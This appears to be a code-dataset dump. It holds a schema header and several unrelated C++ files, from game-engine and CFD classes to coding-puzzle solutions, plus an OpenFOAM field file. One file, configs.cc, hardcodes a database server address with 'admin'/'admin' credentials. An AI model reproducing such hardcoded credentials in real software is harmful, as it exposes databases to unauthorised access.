blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
247
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
4
111
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
58
visit_date
timestamp[ns]date
2015-07-25 18:16:41
2023-09-06 10:45:08
revision_date
timestamp[ns]date
1970-01-14 14:03:36
2023-09-06 06:22:19
committer_date
timestamp[ns]date
1970-01-14 14:03:36
2023-09-06 06:22:19
github_id
int64
3.89k
689M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
25 values
gha_event_created_at
timestamp[ns]date
2012-06-07 00:51:45
2023-09-14 21:58:52
gha_created_at
timestamp[ns]date
2008-03-27 23:40:48
2023-08-24 19:49:39
gha_language
stringclasses
159 values
src_encoding
stringclasses
34 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
2 classes
length_bytes
int64
7
10.5M
extension
stringclasses
111 values
filename
stringlengths
1
195
text
stringlengths
7
10.5M
8f1446358dde20045a308c3b9bfc9594d263f66c
fba68a71f9f7d4a2bf49136cdb315fc8258f65e7
/kengine/meta/imgui/functions/edit.hpp
023b3e88c57f39c8f92ed0ea687fbc29eba505ab
[ "MIT" ]
permissive
phisko/kengine
a434e66aaa025b95596a6a72c002aba5ba09d75e
5a0ad085cdefaffe56e2b049e9772ac7a2d05d15
refs/heads/main
2023-08-08T05:49:40.621314
2023-03-10T10:26:39
2023-03-10T12:07:20
89,867,048
372
22
MIT
2023-03-10T12:07:21
2017-04-30T17:50:30
C++
UTF-8
C++
false
false
266
hpp
edit.hpp
#pragma once // kengine #include "kengine/base_function.hpp" namespace kengine::meta::imgui { using edit_signature = bool(entt::handle); //! putils reflect all //! parents: [refltype::base] struct edit : base_function<edit_signature> {}; } #include "edit.rpp"
66e6d129d4590c30b10d6aedd9d0bd3c23c6df91
9ebcb65c7e81c72c57d952217db8d9e6e8b1f157
/src/configs.cc
17207f800105d57e6874f75605a8d2380f8a7e38
[]
no_license
github188/vidy_old
c9314c8887b1b7c911f0257872024edbb8e5dfd5
01c0aa4242299f7f1056edf0aa60b92177dfcfe6
refs/heads/master
2020-12-25T20:21:02.521410
2015-09-24T00:36:28
2015-09-24T00:36:28
62,994,484
1
0
null
2016-07-10T10:58:30
2016-07-10T10:58:29
null
UTF-8
C++
false
false
251
cc
configs.cc
//Copyright(c) 2015 Extreme Vision Ltd. All rights reserved. //File: configs.cc //Author: Yun Luo(lauren.luo@extremevision.mo) #include "configs.h" char* g_dbaddr="123.59.47.111"; char* g_dbuser="admin"; char* g_dbpswd="admin"; char* g_dbname2="";
61f5ce36c2312061af955e72fbcd66a9de8e06d9
f967386a481df44774dee9477cd671c224f06605
/1052._Grumpy_Bookstore_Owner/1052._Grumpy_Bookstore_Owner.cpp
6f14a98f5fe96c9a071f72e99460ad641bc348e8
[]
no_license
aatalyk/LeetCode
b270a03829a6396f3c99cda6aad405e8803ad896
4454a337ec583d8fdd8353ebe818c3a7d3f598a8
refs/heads/master
2020-05-30T17:29:00.389524
2019-06-08T18:41:30
2019-06-08T18:41:30
189,875,527
1
0
null
null
null
null
UTF-8
C++
false
false
737
cpp
1052._Grumpy_Bookstore_Owner.cpp
class Solution { public: int maxSatisfied(vector<int>& customers, vector<int>& grumpy, int X) { int add = 0, sub = 0, maxSub = 0; /* customers = [1,0,1,2,1,1,7,5] grumpy = [0,1,0,1,0,1,0,1] 0 1 2 3 4 5 6 7 X = 3 add = 1 + 1 + 1 + 7 = 10 sub = 2 */ for (int i = 0; i < customers.size(); ++i) { add += grumpy[i] == 0 ? customers[i] : 0; sub += grumpy[i] == 1 ? customers[i] : 0; if (i >= X) { sub -= grumpy[i-X] == 1 ? customers[i-X] : 0; } maxSub = max(maxSub, sub); } return add + maxSub; } };
54314a6c1a5f2d8f39dbb29616fbabbc458becd6
f648c93459ff88a47a164e98f9a88988e2c07e23
/Engine/ResourcesManager.cpp
ba64df2d309131835305d8a74be8709de7518918
[]
no_license
khiemngs/ko2d
6a679fcdfec2aca2ca97c764bf2c7ada36503607
a2743c3fe247339e3d2483f289054bb8b9ffbc8b
refs/heads/master
2020-03-19T07:29:37.072154
2012-09-04T04:20:19
2012-09-04T04:20:19
null
0
0
null
null
null
null
UTF-8
C++
false
false
4,487
cpp
ResourcesManager.cpp
#include "ResourcesManager.h" #include "FileSystem.h" #include "Vertex.h" ResourcesManager::ResourcesManager(void) { loadingCount = 0; loadingTotal = 0; LOGI("\n[RM] Resource Manager initialized\n"); } ResourcesManager::~ResourcesManager(void) { LOGI("\n[RM] Resource Manager destroyed\n"); delete[] _modelList; delete[] _textureList; } void ResourcesManager::LoadResouces(const char* fileName) { string section_name; int _num; int _current, _count; DATA_LINE* _rline = NULL; int _curLine; char* fileToRead = (char*)fileName; #ifdef _ANDROID LOGI("\nAndroid detected\n"); //fileToRead[strlen(fileToRead)-1] = '\0'; LOGI("File to open: '%s' \n", fileToRead); LOGI("Last char: %d (%c)\n", fileToRead[strlen(fileToRead) - 1], fileToRead[strlen(fileToRead) - 1]); #endif ifstream f(FileSystem::GetInstance()->GetPath(fileToRead).data()); if (f) { while (!f.eof()) { string line; getline(f, line); if (line.substr(0, 1) == "#") { // Begin read section int split_pos = line.find(':'); section_name = line.substr(1, split_pos - 1); LOGI("\n[RM] Parsing \t%s \n", section_name.data()); string section_num_data = line.substr(split_pos + 2); LOGI("[RM] Count \t%s \n", section_num_data.data()); _current = 0; _count = 0; _num = atoi(section_num_data.data()); if (section_name == "Models") { _modelList = new Model[_num]; _modelCount = 0; if (_rline != NULL) delete[] _rline; _rline = new DATA_LINE[2]; _curLine = 0; } if (section_name == "Textures") { _textureList = new Texture[_num]; _textureCount = 0; if (_rline != NULL) delete[] _rline; _rline = new DATA_LINE[3]; _curLine = 0; } if (section_name == "Shaders") { _shaderList = new Shaders[_num]; _shaderCount = 0; if (_rline != NULL) delete[] _rline; _rline = new DATA_LINE[6]; _curLine = 0; } LOGI("[RM] Start reading\n"); } else { if (_current < _num) { _count++; // Process data for Models if (section_name == "Models") { int space_pos = line.find(' '); DATA_LINE ln; ln.key = line.substr(0, space_pos); ln.value = line.substr(space_pos + 1); _rline[_curLine].key = line.substr(0, space_pos); _rline[_curLine].value = line.substr(space_pos + 1); _curLine++; if (_count >= 2) { _modelList[_modelCount].init( FileSystem::GetInstance()->GetPath( _rline[1].value.data() ).c_str() ); _modelCount++; _count = 0; _current++; _curLine = 0; } } // Process data for Textures if (section_name == "Textures") { int space_pos = line.find(' '); DATA_LINE ln; ln.key = line.substr(0, space_pos); ln.value = line.substr(space_pos + 1); _rline[_curLine].key = line.substr(0, space_pos); _rline[_curLine].value = line.substr(space_pos + 1); _curLine++; if (_count >= 3) { _textureList[_textureCount].init( FileSystem::GetInstance()->GetPath( _rline[1].value.data() ).c_str(), _rline[2].value.data() ); _textureCount++; _count = 0; _current++; _curLine = 0; } } // Process data for Shaders if (section_name == "Shaders") { int space_pos = line.find(' '); DATA_LINE ln; ln.key = line.substr(0, space_pos); ln.value = line.substr(space_pos + 1); _rline[_curLine].key = line.substr(0, space_pos); _rline[_curLine].value = line.substr(space_pos + 1); _curLine++; if (_count >= 6) { _shaderList[_shaderCount].Init( FileSystem::GetInstance()->GetPath( _rline[1].value.data() ).c_str(), FileSystem::GetInstance()->GetPath( _rline[2].value.data() ).c_str()); _shaderCount++; _count = 0; _current++; _curLine = 0; } } } } } f.close(); } loadingCount++; } Model* ResourcesManager::getModel(int id) { if (id < _modelCount) { return &_modelList[id]; } return NULL; } frameModel * ResourcesManager::getFrameModel ( int id ) { if (id < _modelCount) { return &_modelList[id].frM; } return NULL; } Texture* ResourcesManager::getTexture(int id) { if (id < _textureCount) { return &_textureList[id]; } return NULL; } Shaders* ResourcesManager::getShader(int id) { if (id < _shaderCount) { return &_shaderList[id]; } return NULL; }
5c33d79fb40b7076446ba8e30aea66aa8ad329f8
08c02c2b6a9eaf8537fe50ca36ab4f74fd5bcd4d
/TaskEncapsulation/Task 1 - Encapsulation/cpp2c_encapsulation.cpp
6aa8a1e3b3edf4061f561ebd667e9bc73f1860d2
[]
no_license
ahmadsb/C-Cpp
582ee51ccd44a73089a564b685bf590453a3d1bf
a8903b80113566ca7616db255f584a10087631ff
refs/heads/master
2020-06-17T23:07:10.252948
2019-07-09T22:54:30
2019-07-09T22:54:30
196,093,051
2
0
null
null
null
null
UTF-8
C++
false
false
1,656
cpp
cpp2c_encapsulation.cpp
#include <cstdio> #include "cpp2c_encapsulation_defs.h" static Box largeBox(10, 20, 30); void thisFunc() { std::printf("\n--- thisFunc() ---\n\n"); static Box box99(99, 99, 99); box99 *= 10; } void thatFunc() { std::printf("\n--- thatFunc() ---\n\n"); static Box box88(88, 88, 88); box88 *= 10; } void doBoxes() { std::printf("\n--- Start doBoxes() ---\n\n"); Box b1(3); Box b2(4, 5, 6); std::printf("b1 volume: %f\n", b1.getVolume()); std::printf("b2 volume: %f\n", b2.getVolume()); b1 *= 1.5; b2 *= 0.5; std::printf("b1 volume: %f\n", b1.getVolume()); std::printf("b2 volume: %f\n", b2.getVolume()); Box b3 = b2; Box b4 = 3 * b2; std::printf("b3 %s b4\n", b3 == b4 ? "equals" : "does not equal"); b3 *= 1.5; b4 *= 0.5; std::printf("Now, b3 %s b4\n", b3 == b4 ? "equals" : "does not equal"); std::printf("\n--- End doBoxes() ---\n\n"); } void doShelves() { std::printf("\n--- start doShelves() ---\n\n"); Box aBox = 5; Shelf aShelf; aShelf.print(); aShelf.setBox(1, largeBox); aShelf.setBox(0, aBox); aShelf.print(); aShelf.setMessage("This is the total volume on the shelf:"); aShelf.print(); Shelf::setMessage("Shelf's volume:"); aShelf.print(); aShelf.setBox(1, Box(2, 4, 6)); aShelf.setBox(2, 2); aShelf.print(); std::printf("\n--- end doShelves() ---\n\n"); } int main() { std::printf("\n--- Start main() ---\n\n"); doBoxes(); thisFunc(); thisFunc(); thisFunc(); doShelves(); std::printf("\n--- End main() ---\n\n"); return 0; }
a986b27c49a40630f1373993f0750bb7ede630cb
7c87ef2e59f55b28a9f66b6c875d40fc44029e9b
/src/Game/Model/Item.h
82f43c8311e1471deab39ab3aa3deaa65a6adceb
[]
no_license
rosdyana/Miner-Speed
ea28873beac6b7d5e56da8b0cd402319702b0972
56d7e0843b82e9ee66111ae34097548696c4a03d
refs/heads/master
2020-03-18T09:51:14.739619
2018-05-30T09:00:00
2018-05-30T09:00:00
null
0
0
null
null
null
null
UTF-8
C++
false
false
815
h
Item.h
#pragma once namespace MinerSpeed { class Item { public: enum State { STATE_MIN, STATE_NEUTRAL, STATE_SELECTED, STATE_MAX }; enum Color { COLOR_MIN, COLOR_BLUE, COLOR_GREEN, COLOR_PURPLE, COLOR_RED, COLOR_YELLOW, COLOR_MAX }; public: Item(); Item(const Item &instance); Item &operator=(const Item &r); void Swap(Item &r); virtual ~Item(); public: void SetColor(const Color color); const Color GetColor() const; State GetState() const; void SetState(State state); private: Color mColor; State mState; }; } // namespace MinerSpeed
65990545d5588542b26c633a361fa6088f0714ed
b11b140ef2fbb3e3e2d0eb53fdbe4c8943ad5ebb
/hdu/3766/3766.cpp
c4eb1422ba0f501c0287cc06915eeac8779afefd
[]
no_license
jer22/OI
ea953208ab43542c51eada3c62ef529a6c14588e
545c2424f277a6626b0f22fb666edd8c37e7328b
refs/heads/master
2021-04-18T22:57:05.678732
2017-11-02T15:40:34
2017-11-02T15:40:34
27,431,322
1
0
null
null
null
null
UTF-8
C++
false
false
828
cpp
3766.cpp
#include <cstdio> #include <cstring> #include <algorithm> #include <queue> #include <iostream> #include <map> #include <utility> using namespace std; int main() { freopen("3766.in", "r", stdin); // freopen("3766.out", "w", stdout); char str[20]; while (~scanf("%s", str)) { if (str[0] == 'E') break; int x = 0, y; for (int i = 0; i < strlen(str); i++) { if (str[i] == '-' && !i) continue; else x = x * 10 + str[i] - '0'; } cin >> y; y = abs(y); if (y < x) swap(x, y); if (y <= x << 1) { if (x == 1 && y == 1) printf("2\n"); else if (x == 2 && y == 2) printf("4\n"); else printf("%d\n", (x + y) / 3 + (x + y) % 3); } else { int ans = x; int c = (y - 2 * x) % 4; ans += c; ans += (y - 2 * x - c) / 2; if (y == 1 && x == 0) ans = 3; cout << ans << endl; } } return 0; }
ee955bf812833a4dbaad1e93c231e54152fb0414
1afe781fbacdd59bfa3ab4783f64e46220adc078
/Spark-LSA-LM/lsa_ngram.h
f6aade937cf576a7e3a1a544d438169febfd33e0
[]
no_license
HaoyuHuang/Spark-LSA-LM
5c1db438bb3b2d20f2e4e7b8d944acb42cdf12cf
dea97fc05c7df4c7eb689c8b34d8095c8c2643de
refs/heads/master
2016-09-06T00:03:39.640668
2014-04-20T16:48:47
2014-04-20T16:48:47
null
0
0
null
null
null
null
UTF-8
C++
false
false
797
h
lsa_ngram.h
// // lsa_ngram.h // Spark-LSA-LM // // Created by Haoyu Huang on 4/18/14. // Copyright (c) 2014 HaoyuHuang. All rights reserved. // #ifndef Spark_LSA_LM_lsa_ngram_h #define Spark_LSA_LM_lsa_ngram_h #include "lsa_common.h" typedef struct lsa_ngram_arpa { double p; } ngram_t; // load arpa file into ngram void lsa_ngram_load(const char *symbfn, vector<unordered_map<std::string, double> > &ngram); // write ngram into arpa file void lsa_ngram_arpa(const char *symbfn, vector<unordered_map<std::string, double> > &ngram); //make n words into one std::string lsa_ngram_combine(vector<std::string > &mygram); // calculate the log10(prob) of ngram in mygram, the order is N double lsa_ngram_prob(std::string &mygram, int N, vector<unordered_map<std::string, double> > &ngram); #endif
0858587d1c917bd081890e39fb53e1ad8dc90e9b
8433144aa08a8bbdf2b39103ee594631297659ce
/src/domain/DomainData.h
d8b326ea9a6740507cc517b3f1d3607c01174b76
[ "MIT" ]
permissive
FireDynamics/ARTSS
68f9f07488c90be40a3b4b1a3342069146b785e5
63f589669fda249cf7a5cda66ed07d177d231d4b
refs/heads/master
2023-02-11T08:15:16.983599
2022-11-29T16:10:04
2022-11-29T16:10:04
249,939,552
12
11
MIT
2022-11-30T21:23:12
2020-03-25T09:42:48
C++
UTF-8
C++
false
false
10,033
h
DomainData.h
/// \file DomainData.h /// \brief stores information about the domain /// \date Jul 16, 2018 /// \author My Linh Wuerzburger /// \copyright <2015-2020> Forschungszentrum Juelich GmbH. All rights reserved. #ifndef ARTSS_DOMAIN_DOMAINDATA_H_ #define ARTSS_DOMAIN_DOMAINDATA_H_ #include <cmath> #ifdef _OPENACC #include <accelmath.h> #endif #include <cstddef> #include "Coordinate.h" #include "../utility/GlobalMacrosTypes.h" #include "../utility/Utility.h" #include "../utility/settings/Settings.h" class DomainData { public: explicit DomainData(const Settings::physical_parameters &physical_params, const Settings::domain_parameters &domain_params, size_t multigrid_level); ~DomainData(); static void init(const Settings::physical_parameters &physical_params, const Settings::domain_parameters &domain_params, size_t multigrid_level) { single = std::make_unique<DomainData>(physical_params, domain_params, multigrid_level); } static void reset() { single.reset(); } static DomainData *getInstance() { return single.get(); } // getter [[deprecated("Replaced by get_number_of_inner_cells")]] size_t inline get_nx(size_t level = 0) const { return get_number_of_inner_cells(CoordinateAxis::X, level); } [[deprecated("Replaced by get_number_of_inner_cells")]] size_t inline get_ny(size_t level = 0) const { return get_number_of_inner_cells(CoordinateAxis::Y, level); } [[deprecated("Replaced by get_number_of_inner_cells")]] size_t inline get_nz(size_t level = 0) const { return get_number_of_inner_cells(CoordinateAxis::Z, level); } /** * get number of cells of computational domain excluding ghost cells * @param axis Coordinate Axis * @param level multigrid level, default: 0 * @return number of inner cells */ size_t inline get_number_of_inner_cells(CoordinateAxis axis, size_t level = 0) const { return this->number_of_inner_cells[level][axis]; } Coordinate<size_t> inline get_number_of_inner_cells(size_t level = 0) const { return this->number_of_inner_cells[level]; } [[deprecated("Replaced by get_number_of_cells")]] size_t inline get_Nx(size_t level = 0) const { return get_number_of_cells(CoordinateAxis::X, level); } [[deprecated("Replaced by get_number_of_cells")]] size_t inline get_Ny(size_t level = 0) const { return get_number_of_cells(CoordinateAxis::Y, level); } [[deprecated("Replaced by get_number_of_cells")]] size_t inline get_Nz(size_t level = 0) const { return get_number_of_cells(CoordinateAxis::Z, level); } /** * number of cells of physical domain including 2 ghost cells for each direction * @param axis Coordinate Axis * @param level multigrid level, default: 0 * @return number of cells */ size_t inline get_number_of_cells(CoordinateAxis axis, size_t level = 0) const { return this->number_of_cells[level][axis]; } Coordinate<size_t> inline get_number_of_cells(size_t level = 0) const { return this->number_of_cells[level]; } [[deprecated("Replaced by get_start_coord_CD")]] real inline get_x1() const { return get_start_coord_CD(CoordinateAxis::X); } [[deprecated("Replaced by get_start_coord_CD")]] real inline get_y1() const { return get_start_coord_CD(CoordinateAxis::Y); } [[deprecated("Replaced by get_start_coord_CD")]] real inline get_z1() const { return get_start_coord_CD(CoordinateAxis::Z); } real inline get_start_coord_CD(CoordinateAxis axis) const { return start_coords_CD[axis]; } [[deprecated("Replaced by get_end_coord_CD")]] real inline get_x2() const { return get_end_coord_CD(CoordinateAxis::X); } [[deprecated("Replaced by get_end_coord_CD")]] real inline get_y2() const { return get_end_coord_CD(CoordinateAxis::Y); } [[deprecated("Replaced by get_end_coord_CD")]] real inline get_z2() const { return get_end_coord_CD(CoordinateAxis::Z); } real inline get_end_coord_CD(CoordinateAxis axis) const { return end_coords_CD[axis]; } [[deprecated("Replaced by get_start_coord_PD")]] real inline get_X1() const { return get_start_coord_PD(CoordinateAxis::X); } [[deprecated("Replaced by get_start_coord_PD")]] real inline get_Y1() const { return get_start_coord_PD(CoordinateAxis::Y); } [[deprecated("Replaced by get_start_coord_PD")]] real inline get_Z1() const { return get_start_coord_PD(CoordinateAxis::Z); } real inline get_start_coord_PD(CoordinateAxis axis) const { return start_coords_PD[axis]; } const Coordinate<real>& get_start_coord_PD() const { return start_coords_PD; } [[deprecated("Replaced by get_end_coord_PD")]] real inline get_X2() const { return get_end_coord_PD(CoordinateAxis::X); } [[deprecated("Replaced by get_end_coord_PD")]] real inline get_Y2() const { return get_end_coord_PD(CoordinateAxis::Y); } [[deprecated("Replaced by get_end_coord_PD")]] real inline get_Z2() const { return get_end_coord_PD(CoordinateAxis::Z); } real inline get_end_coord_PD(CoordinateAxis axis) const { return end_coords_PD[axis]; } [[deprecated("Replaced by get_length_PD")]] real inline get_Lx() const { return get_length_PD(CoordinateAxis::X); } [[deprecated("Replaced by get_length_PD")]] real inline get_Ly() const { return get_length_PD(CoordinateAxis::Y); } [[deprecated("Replaced by get_length_PD")]] real inline get_Lz() const { return get_length_PD(CoordinateAxis::Z); } real inline get_length_PD(CoordinateAxis axis) const { return length_PD[axis]; } [[deprecated("Replaced by get_length_CD")]] real inline get_lx() const { return get_length_CD(CoordinateAxis::X); } [[deprecated("Replaced by get_length_CD")]] real inline get_ly() const { return get_length_CD(CoordinateAxis::Y); } [[deprecated("Replaced by get_length_CD")]] real inline get_lz() const { return get_length_CD(CoordinateAxis::Z); } real inline get_length_CD(CoordinateAxis axis) const { return fabs(end_coords_CD[axis] - start_coords_CD[axis]); } Coordinate<real> inline get_length_CD() const { return fdiff(end_coords_CD, start_coords_CD); } [[deprecated("Replaced by get_spacing")]] real inline get_dx(size_t level = 0) const { return get_spacing(CoordinateAxis::X, level); } [[deprecated("Replaced by get_spacing")]] real inline get_dy(size_t level = 0) const { return get_spacing(CoordinateAxis::Y, level); } [[deprecated("Replaced by get_spacing")]] real inline get_dz(size_t level = 0) const { return get_spacing(CoordinateAxis::Z, level); } real inline get_spacing(CoordinateAxis axis, size_t level = 0) const { return get_length_CD(axis) / static_cast<real>(get_number_of_inner_cells(axis, level)); } Coordinate<real> inline get_spacing(size_t level = 0) const { return div(get_length_CD(), get_number_of_inner_cells(level)); } // start index of computational domain without ghost cells [[deprecated("Replaced by get_start_index_CD")]] size_t inline get_index_x1(size_t level = 0) const { return get_start_index_CD(CoordinateAxis::X, level); } [[deprecated("Replaced by get_start_index_CD")]] size_t inline get_index_y1(size_t level = 0) const { return get_start_index_CD(CoordinateAxis::Y, level); } [[deprecated("Replaced by get_start_index_CD")]] size_t inline get_index_z1(size_t level = 0) const { return get_start_index_CD(CoordinateAxis::Z, level); } size_t inline get_start_index_CD(CoordinateAxis axis, size_t level = 0) const { return static_cast<size_t> (std::round((start_coords_CD[axis] - start_coords_PD[axis]) / get_spacing(axis, level))) + 1; } // end index of computational domain without ghost cells [[deprecated("Replaced by get_end_index_CD")]] size_t inline get_index_x2(size_t level = 0) const { return get_end_index_CD(CoordinateAxis::X, level); } [[deprecated("Replaced by get_end_index_CD")]] size_t inline get_index_y2(size_t level = 0) const { return get_end_index_CD(CoordinateAxis::Y, level); } [[deprecated("Replaced by get_end_index_CD")]] size_t inline get_index_z2(size_t level = 0) const { return get_end_index_CD(CoordinateAxis::Z, level); } size_t inline get_end_index_CD(CoordinateAxis axis, size_t level = 0) const { return static_cast<size_t> (std::round((end_coords_CD[axis] - start_coords_PD[axis]) / get_spacing(axis, level))); } size_t inline get_levels() const { return m_levels; } size_t get_size(size_t level = 0) const { return m_size_PD[level]; }; const Settings::physical_parameters& get_physical_parameters() const { return m_physical_parameters; } bool resize(const Coordinate<long>& shift_start, const Coordinate<long>& shift_end); void print(); void print_details(); private: #ifndef BENCHMARKING std::shared_ptr<spdlog::logger> m_logger; #endif static std::unique_ptr<DomainData> single; // Singleton void calc_MG_values(); static real calc_new_coord(real oldCoord, long shift, real cell_width); static bool set_new_value(long shift, real start_coord_p, real end_coord_p, real old_coord, real cell_width, real *new_coord); // CD = computational domain Coordinate<size_t> *number_of_inner_cells; // nx/ny/nz Coordinate<real> start_coords_CD; // x1/y1/z1 Coordinate<real> end_coords_CD; // x2/y2/z2 // PD = physical domain (non changing) Coordinate<size_t> *number_of_cells; // Nx/Ny/Nz Coordinate<real> length_PD; // Lx/Ly/Lz Coordinate<real> start_coords_PD; // X1/Y1/Z1 Coordinate<real> end_coords_PD; // X2/Y2/Z2 std::vector<size_t> m_size_PD; size_t m_levels = 0; const struct Settings::physical_parameters m_physical_parameters; void control(); }; #endif /* ARTSS_DOMAIN_DOMAINDATA_H_ */
17c8ff8070d79fae1c5815c80f6eb0f2c85d05bf
044c0ecbf4d04551e448411970ca5f462131745a
/guess.cpp
8064aafb5a0ff5b1322ab6cebcb214341cb44f12
[]
no_license
Rickybaca/Kattis
8f52a5b3d47da990c5acf405842ff67c8f95c52e
4cb34a8735aaed884d52b0acd2e4b5c8ff7abae9
refs/heads/master
2020-07-04T08:43:27.239466
2019-08-13T21:38:37
2019-08-13T21:38:37
202,226,649
0
0
null
null
null
null
UTF-8
C++
false
false
413
cpp
guess.cpp
#include <iostream> using namespace std; int main() { int guess = 500; int min = 1; int max = 1000; string ans; cout << guess << endl; while(cin >> ans){ if(ans == "correct"){ break; } if(ans == "lower"){ max = guess - 1; guess = (min + max)/2; } else if(ans == "higher"){ min = guess + 1; guess = (min+max)/2; } cout << guess << endl; } }
821d56980092c7ef0914e63f4fcb1eb9dec62249
1c4238a100827884061dc28747f20d27bbfadfea
/GSOpenGL2019/mathlab.h
d625b99a86f621eca781a793ce2a90c8b1892754
[]
no_license
EirikJHenriksen/VSIM2019
0adcc45ac0be215972f1c17c3977123a17bae5cc
d4edd04fdb47b21c2f1840462ef2f1fabce66969
refs/heads/master
2020-08-12T21:07:09.036211
2019-11-07T09:03:15
2019-11-07T09:03:15
214,441,573
0
0
null
null
null
null
UTF-8
C++
false
false
560
h
mathlab.h
#ifndef MATHLAB_H #define MATHLAB_H #include "vector2d.h" #include "vector3d.h" #include "vector4d.h" #include "matrix4x4.h" namespace MathLab { // CONSTANTS constexpr double PI = 3.141592653589793238462643383279502884197169399375105820974944592307816406286208998628034825342117067982148086513282306647093844609550582231725359408128481117450284102701938521105559644622948954930381964428810975665933446128475648233f; // FUNCTIONS inline double abs(double input) { if (input < 0.f) input *= -1.f; return input; } } #endif // MATHLAB_H
a08f7f311c532cf83c534453501c3044fde0858f
2ff535673208c99427040ad64a9885b422c75cca
/qkc/arpa_inet.cpp
b6795c613e51a12db4535efa84d13d0347c7d130
[]
no_license
warrenween/quark
505bb20f253dc2465a0cbf53ade8dad4a0a22150
4f02fdd3cde6a4ab567041c4c87484bc3cc59781
refs/heads/master
2020-04-16T22:46:00.865760
2018-11-10T05:25:52
2018-11-10T05:25:52
165,982,787
1
0
null
2019-01-16T05:56:53
2019-01-16T05:56:53
null
UTF-8
C++
false
false
249
cpp
arpa_inet.cpp
#include <arpa/inet.h> #include <winsock2.h> in_addr_t inet_addr (const char * cp) { return _imp_inet_addr(cp) ; } char * inet_ntoa (struct in_addr in) { IN_ADDR wi ; wi.s_addr = in.s_addr ; return _imp_inet_ntoa(wi) ; }
f7fe651a5bc89146b50d4aae15a9fff2d23e9a9e
189f52bf5454e724d5acc97a2fa000ea54d0e102
/ras/fluidisedBed/1.83/alpha.air
ce4ca685115e83bb9bbbeaa877cac0a71ff9cd7a
[]
no_license
pyotr777/openfoam_samples
5399721dd2ef57545ffce68215d09c49ebfe749d
79c70ac5795decff086dd16637d2d063fde6ed0d
refs/heads/master
2021-01-12T16:52:18.126648
2016-11-05T08:30:29
2016-11-05T08:30:29
71,456,654
0
0
null
null
null
null
UTF-8
C++
false
false
48,291
air
alpha.air
/*--------------------------------*- C++ -*----------------------------------*\ | ========= | | | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox | | \\ / O peration | Version: v1606+ | | \\ / A nd | Web: www.OpenFOAM.com | | \\/ M anipulation | | \*---------------------------------------------------------------------------*/ FoamFile { version 2.0; format ascii; class volScalarField; location "1.83"; object alpha.air; } // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // dimensions [0 0 0 0 0 0 0]; internalField nonuniform List<scalar> 6000 ( 0.625039 0.598062 0.578584 0.569845 0.569844 0.572456 0.57868 0.581725 0.587304 0.594311 0.606969 0.618301 0.620878 0.626001 0.625397 0.625397 0.625397 0.627434 0.632972 0.63545 0.637009 0.624516 0.616918 0.612909 0.610396 0.604924 0.599968 0.599968 0.605357 0.606984 0.636464 0.636471 0.636443 0.636477 0.637167 0.639848 0.639953 0.639867 0.640206 0.640006 0.640394 0.640063 0.640402 0.640063 0.635564 0.634157 0.635193 0.636985 0.636938 0.637014 0.636943 0.637015 0.636939 0.636987 0.636866 0.636743 0.636512 0.636137 0.636112 0.636131 0.627289 0.62887 0.627853 0.625657 0.622828 0.616337 0.597648 0.58444 0.586471 0.590669 0.611397 0.627029 0.637393 0.640391 0.639804 0.636011 0.628609 0.625661 0.625204 0.616063 0.597428 0.580019 0.577058 0.58355 0.598005 0.609788 0.608685 0.618975 0.62747 0.630504 0.609306 0.615079 0.616384 0.603977 0.588085 0.568856 0.538957 0.51338 0.517127 0.529537 0.561955 0.612954 0.640269 0.639973 0.640269 0.639938 0.631143 0.620189 0.609195 0.572567 0.527059 0.50104 0.49466 0.501648 0.521237 0.538963 0.543948 0.560434 0.572317 0.575898 0.560463 0.567223 0.565462 0.545759 0.523446 0.492629 0.476851 0.476839 0.476825 0.476844 0.496978 0.563483 0.627684 0.640223 0.639932 0.636686 0.613567 0.589375 0.554047 0.499057 0.464682 0.464144 0.464156 0.464159 0.464179 0.464187 0.465909 0.480802 0.491443 0.49181 0.512708 0.512579 0.510272 0.507161 0.506161 0.505702 0.488234 0.47683 0.476827 0.476804 0.476824 0.50119 0.580068 0.622456 0.627049 0.615483 0.578309 0.53887 0.491434 0.464162 0.464134 0.46415 0.464178 0.481158 0.488994 0.47993 0.474163 0.493906 0.509247 0.509382 0.543244 0.546033 0.548867 0.562042 0.584583 0.623984 0.643353 0.603173 0.521704 0.476843 0.476823 0.476844 0.51594 0.569052 0.582928 0.571464 0.535088 0.493009 0.46431 0.464135 0.464159 0.476312 0.591865 0.662736 0.655612 0.633895 0.618836 0.641228 0.666881 0.674317 0.659556 0.664281 0.666546 0.683142 0.709012 0.742333 0.764903 0.762558 0.724502 0.603497 0.484813 0.476847 0.477891 0.507444 0.523551 0.525283 0.504047 0.473063 0.46414 0.464166 0.48967 0.673358 0.776604 0.773565 0.746946 0.730433 0.727762 0.755955 0.795348 0.799025 0.729032 0.729032 0.729033 0.735675 0.747921 0.767376 0.777365 0.777515 0.777397 0.766944 0.672032 0.524013 0.477316 0.477306 0.487239 0.501939 0.498563 0.47504 0.464168 0.477061 0.681626 0.820824 0.815609 0.768671 0.717334 0.691064 0.689235 0.726665 0.799026 0.799026 0.726414 0.717495 0.711785 0.716904 0.724591 0.743265 0.762457 0.775781 0.777521 0.777392 0.777268 0.711249 0.558441 0.477318 0.477494 0.499555 0.510984 0.482043 0.465436 0.617542 0.821465 0.833543 0.812769 0.740787 0.663604 0.621594 0.615115 0.647757 0.77388 0.799026 0.667463 0.649675 0.651499 0.656125 0.664381 0.68698 0.716223 0.744638 0.766877 0.777531 0.777385 0.777473 0.722802 0.564943 0.479876 0.508314 0.51739 0.480022 0.535608 0.775284 0.83349 0.833461 0.802657 0.702623 0.606577 0.557233 0.546892 0.568458 0.69377 0.768582 0.556206 0.537501 0.553035 0.566113 0.580487 0.6065 0.642637 0.679313 0.717015 0.756203 0.777474 0.777357 0.777214 0.690586 0.523129 0.517392 0.517384 0.480023 0.643144 0.83032 0.833418 0.833489 0.787397 0.659897 0.545579 0.503704 0.493118 0.502076 0.577317 0.659704 0.469501 0.467109 0.475058 0.48725 0.500472 0.520243 0.553103 0.593647 0.632439 0.68783 0.75246 0.776714 0.776496 0.725749 0.572705 0.519379 0.514707 0.494113 0.715145 0.833348 0.833427 0.829659 0.764359 0.616343 0.49971 0.471205 0.469975 0.46998 0.477445 0.530586 0.46692 0.466909 0.466892 0.466883 